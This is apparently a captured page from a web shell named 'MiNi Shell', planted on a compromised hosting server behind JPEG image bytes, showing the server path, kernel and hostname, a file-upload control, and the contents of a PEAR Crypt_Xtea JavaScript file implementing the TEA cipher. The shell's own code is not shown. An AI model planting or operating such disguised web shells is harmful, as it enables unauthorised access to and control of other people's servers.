JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.3.13/lib/php/data/Crypt_Xtea/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.3.13/lib/php/data/Crypt_Xtea/xtea.js

/* ---------------------------------------------------------------------------------------- *
 * Initial code from http://www.simonshepherd.supanet.com/jstea.htm
 * Fixed to work as part of PEAR Crypt_Xtea package by Jeroen Derks <jeroen@derks.it>
 * ---------------------------------------------------------------------------------------- */
/* GLOBAL VARIABLE
------------------- */
 
/* CONVERSION FUNCTION
------------------- */
function DecToHex(x) {
	var s = '', x_ = !isNaN(Number(x)) ? Number(x) : 0;
	while( Boolean( x_ ) ) { s = '0123456789ABCDEF'.charAt( x_ & 0xf ) + s; x_ >>>= 4; }
	while ( s.length & 0x7 ) { s = '0' + s; } 
	return ( s );
}

/* ---------------------------------------------------------------------------------------- */

/* RUNDOWN ON THE TINY ENCRYPTION ALGORITHM
------------------- */
/* Tiny Encryption Algorithm (TEA) 

	- http://vader.brad.ac.uk/tea/tea.shtml

	The Tiny Encryption Algorithm (TEA) by David Wheeler and Roger Needham 
		of the Cambridge Computer Laboratory.

	Placed in the Public Domain by David Wheeler and Roger Needham.


	TEA is a Feistel cipher with XOR and AND addition as the non-linear mixing functions. 

	TEA takes 64 bits of data in v[0] and v[1], ( 2 x 4 bytes -> 8 ascii chars )
		and 128 bits of key in k[0] - k[3]. ( 4 x 4 bytes -> 16 bytes )

	The result is returned in w[0] and w[1]. ( 2 x 4 bytes -> 8 ascii chars )

	Returning the result separately makes implementation of cipher modes
		other than Electronic Code Book a little bit easier.

	TEA can be operated in any of the modes of DES.

	n is the number of iterations. 32 is ample, 16 is sufficient,
		as few as eight should be OK for most applications,
		especially ones where the data age quickly (real-time video, for example).

	The algorithm achieves good dispersion after six iterations.
	The iteration count can be made variable if required.

	delta is chosen to be the Golden ratio ((5/4)1/2 - 1/2 ~ 0.618034) multiplied by 2^32

	Which way round you call the functions is arbitrary:

	DK(EK(P)) = EK(DK(P)) where EK and DK are encryption and decryption under key K respectively


	This implementation follows the new variant developed in response 
		to limitations pointed out by David Wagner 1997

*/


function Encipher(p1, p2, k)
{
	var temp = new Array();
	temp[0] = 1; // an error flag
	temp[1] = new Number(p1);
	temp[2] = new Number(p2);

	var sum = 0;
	var delta = 0x9E3779B9;
	var n = 32;

	while ( n-- > 0 )
	{
		temp[1] = (temp[1] + ( ( temp[2] << 4 ^ ((temp[2] >> 5) & 0x07ffffff) ) + temp[2] ^ sum + k[ ( sum & 3 ) ] )) & 0xffffffff;
		sum = (sum + delta) & 0xffffffff;
		temp[2] = (temp[2] + ( ( temp[1] << 4 ^ ((temp[1] >> 5) & 0x07ffffff) ) + temp[1] ^ sum + k[ ( ((sum >> 11) & 0x001fffff) & 3 ) ] )) & 0xffffffff;
	}

	// for the error flag maybe check for negative numbers

	return( temp );

}


function Decipher(p1, p2, k)
{
	var temp = new Array();
	temp[0] = 1; // an error flag
	temp[1] = new Number(p1);	
	temp[2] = new Number(p2);

	// sum = delta << 5, in general sum = delta * n

	var sum   = 0xC6EF3720;
	var delta = 0x9E3779B9;
	var n     = 32;

	while ( n-- > 0 )
	{
		temp[2] = (temp[2] - ( ( temp[1] << 4 ^ ((temp[1] >> 5) & 0x07ffffff) ) + temp[1] ^ sum + k[ ( ((sum >> 11) & 0x001fffff) & 3 )] )) & 0xffffffff;
		sum = (sum - delta) & 0xffffffff;
		temp[1] = (temp[1] - ( ( temp[2] << 4 ^ ((temp[2] >> 5) & 0x07ffffff) ) + temp[2] ^ sum + k[ ( sum & 3 ) ] )) & 0xffffffff;

	}

	// for the error flag maybe check for negative numbers

	return( temp );

}


/* ---------------------------------------------------------------------------------------- */
/* WORKHORSE FUNCTION #1
------------------- */

function EncipherText(inString, key)
{
	// init local variables
	var p1D			= 0;
	var p2D			= 0;	
	var res			= null;
	var outString	= '';
	var tmp;
	var i;
	
	// initialize an error flag of 64 bits
	// include the newlines so it's even easier to spot
	// alternatively issue a report to the status field
	var errormark = "!!!!!!!\x0d\x0d!!!!!!!";

	// prefix the length of the string
	tmp = ''
		  + String.fromCharCode(( inString.length / 16777216 ) & 0xFF)
		  + String.fromCharCode(( inString.length / 65536 ) & 0xFF)
		  + String.fromCharCode(( inString.length / 256 ) & 0xFF)
		  + String.fromCharCode(inString.length & 0xFF)
		  ;
	inString = tmp + inString;

	// pad the input so that it's a multiple of 8
	while ( inString.length & 0x7 ) { inString += '\0'; }

	// pad the key so that it's a multiple of 16
	i = 0;
	while ( key.length & 0x15 ) { key += key.charAt(i++); }

	// create array from key
	tmp = key;
	key = new Array(key.length / 4);
	i	= 0;
	j	= 0;
	while ( i < tmp.length )
		key[j++] = (((tmp.charCodeAt(i++) & 0xFF) << 24) |
				    ((tmp.charCodeAt(i++) & 0xFF) << 16) |
				    ((tmp.charCodeAt(i++) & 0xFF) << 8) |
				    ((tmp.charCodeAt(i++) & 0xFF))) & 0xFFFFFFFF;

	i = 0;
	j = 0;
	k = new Array(4);
	while ( i < inString.length ) {

		// determine key selection
		if (j + 4 <= key.length) {
			k[0] = key[j];
			k[1] = key[j + 1];
			k[2] = key[j + 2];
			k[3] = key[j + 3];
		} else {
			k[0] = key[j % key.length];
			k[1] = key[(j + 1) % key.length];
			k[2] = key[(j + 2) % key.length];
			k[3] = key[(j + 3) % key.length];
		}
		j = (j + 4) % key.length;

		// slam 4 bytes into a dword 
		p1D  = inString.charCodeAt(i++) << 24;
		p1D |= inString.charCodeAt(i++) << 16;
		p1D |= inString.charCodeAt(i++) << 8;
		p1D |= inString.charCodeAt(i++);

		// mask off 32 bits to be safe
		// javascript numbers are 64 bit IEEE double doubles
		p1D &= 0xFFFFFFFF;

		// slam 4 bytes into a dword
		p2D  = inString.charCodeAt(i++) << 24;
		p2D |= inString.charCodeAt(i++) << 16;
		p2D |= inString.charCodeAt(i++) << 8;
		p2D |= inString.charCodeAt(i++);

		// mask off 32 bits to be safe
		// javascript numbers are 64 bit IEEE double doubles
		p2D &= 0xFFFFFFFF;

		// send dwords to be enciphered
		res = Encipher(p1D, p2D, k);

		// check the validity flag
		// convert the results to hex to facilitate deciphering - 16 chars generated per turn
		// append the hex values to the output buffer 
		// do not include any new lines - the form is set to wrap

		// the validity flag defaults to true because I'm not certain what to check for ;-)

		outString += ( res[0] ? '' + DecToHex(res[1]) + DecToHex(res[2]) : errormark );

		// later perhaps the outString should be chunked up
		// along the lines of B64 email attachments
		// although 0-9 and A-F are 6 and 7 bit values respectively
		// it's really a question of post limitations on the http server

		// clear the temporary variables
		p1D = 0; p2D = 0; res = null;

	}

	return outString;

}

/* ---------------------------------------------------------------------------------------- */
/* WORKHORSE FUNCTION #2
------------------- */

function DecipherText(inString, key)
{
	// init local variables
	var p3H = ''; var p4H = '';
	var p3D = 0;  var p4D = 0;
	var res = null; var outString = '';
	var i;
	var j;
	var tmp;

	// pad the key so that it's a multiple of 16
	i = 0;
	while ( key.length & 0x15 ) { key += key.charAt(i++); }

	// create array from key
	tmp = key;
	key = new Array(key.length / 4);
	i	= 0;
	j	= 0;
	while ( i < tmp.length )
		key[j++] = (((tmp.charCodeAt(i++) & 0xFF) << 24) |
				    ((tmp.charCodeAt(i++) & 0xFF) << 16) |
				    ((tmp.charCodeAt(i++) & 0xFF) << 8) |
				    ((tmp.charCodeAt(i++) & 0xFF))) & 0xFFFFFFFF;

	// loop through input string
	i = 0; 
	while ( i < inString.length ) {

		// should check for our errormarker too!

		// 8 hex chars make a dword 
		// - unloop de loop - it's faster
		p3H += inString.charAt(i++); // 1
		p3H += inString.charAt(i++); // 2
		p3H += inString.charAt(i++); // 3
		p3H += inString.charAt(i++); // 4
		p3H += inString.charAt(i++); // 5
		p3H += inString.charAt(i++); // 6
		p3H += inString.charAt(i++); // 7
		p3H += inString.charAt(i++); // 8

		// 8 hex chars make a dword 
		// - unloop de loop - it's faster
		p4H += inString.charAt(i++); // 1
		p4H += inString.charAt(i++); // 2
		p4H += inString.charAt(i++); // 3
		p4H += inString.charAt(i++); // 4
		p4H += inString.charAt(i++); // 5
		p4H += inString.charAt(i++); // 6
		p4H += inString.charAt(i++); // 7
		p4H += inString.charAt(i++); // 8

		// convert hex strings to dwords
		p3D = parseInt(p3H,16);
		p4D = parseInt(p4H,16);

		// pass dwords to decipher routine
		res = Decipher(p3D, p4D, key);

		// transform results back into alphanumic characters
		// check validity flag - always defaults true ...
		if ( res[0] ) {

			// unpack first dword
			outString += String.fromCharCode( ( res[1] & 0xFF000000 ) >> 24 );
			outString += String.fromCharCode( ( res[1] & 0x00FF0000 ) >> 16 );
			outString += String.fromCharCode( ( res[1] & 0x0000FF00 ) >>  8 );
			outString += String.fromCharCode( ( res[1] & 0x000000FF ) );

			// unpack second dword
			outString += String.fromCharCode( ( res[2] & 0xFF000000 ) >> 24 );
			outString += String.fromCharCode( ( res[2] & 0x00FF0000 ) >> 16 );
			outString += String.fromCharCode( ( res[2] & 0x0000FF00 ) >>  8 );
			outString += String.fromCharCode( ( res[2] & 0x000000FF ) );

		}
		
		// reset temporary variables
		p3H = ''; p4H = '';
		p3D = 0;  p4D = 0;
		res = null;
	}

	// get length
	tmp = (((outString.charCodeAt(0) & 0xFF) << 24) |
		   ((outString.charCodeAt(1) & 0xFF) << 16) |
		   ((outString.charCodeAt(2) & 0xFF) << 8) |
		   ((outString.charCodeAt(3) & 0xFF))) & 0xffffffff;

	return outString.substring(4, 4 + tmp);
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com